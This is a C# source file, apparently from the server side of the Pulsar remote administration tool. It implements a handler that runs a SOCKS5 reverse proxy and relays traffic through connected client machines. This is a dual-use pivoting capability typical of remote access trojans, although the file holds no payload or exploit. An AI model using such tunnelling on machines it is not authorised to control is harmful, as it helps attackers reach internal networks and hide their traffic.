using Pulsar.Common.Messages; using Pulsar.Common.Messages.Administration.ReverseProxy; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Server.Networking; using Pulsar.Server.ReverseProxy; using System; using System.Linq; namespace Pulsar.Server.Messages { /// /// Handles messages for the interaction with the remote reverse proxy. /// public class ReverseProxyHandler : MessageProcessorBase { /// /// The clients which is associated with this reverse proxy handler. /// private readonly Client[] _clients; /// /// The reverse proxy server to accept & serve SOCKS5 connections. /// private readonly ReverseProxyServer _socksServer; /// /// Initializes a new instance of the class using the given clients. /// /// The associated clients. public ReverseProxyHandler(Client[] clients) : base(true) { _socksServer = new ReverseProxyServer(); _clients = clients; } /// public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse || message is ReverseProxyData || message is ReverseProxyDisconnect; /// public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); /// public override void Execute(ISender sender, IMessage message) { switch (message) { case ReverseProxyConnectResponse con: Execute(sender, con); break; case ReverseProxyData data: Execute(sender, data); break; case ReverseProxyDisconnect disc: Execute(sender, disc); break; } } /// /// Starts the reverse proxy server using the given port. /// /// The port to listen on. public void StartReverseProxyServer(ushort port) { _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; _socksServer.StartServer(_clients, "0.0.0.0", port); } /// /// Stops the reverse proxy server. /// public void StopReverseProxyServer() { _socksServer.Stop(); _socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; _socksServer.OnUpdateConnection -= socksServer_onUpdateConnection; } private void Execute(ISender client, ReverseProxyConnectResponse message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.HandleCommandResponse(message); } private void Execute(ISender client, ReverseProxyData message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.SendToClient(message.Data); } private void Execute(ISender client, ReverseProxyDisconnect message) { ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); socksClient?.Disconnect(); } void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) { OnReport(_socksServer.OpenConnections); } void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) { OnReport(_socksServer.OpenConnections); } /// /// Disposes all managed and unmanaged resources associated with this message processor. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { StopReverseProxyServer(); } } } }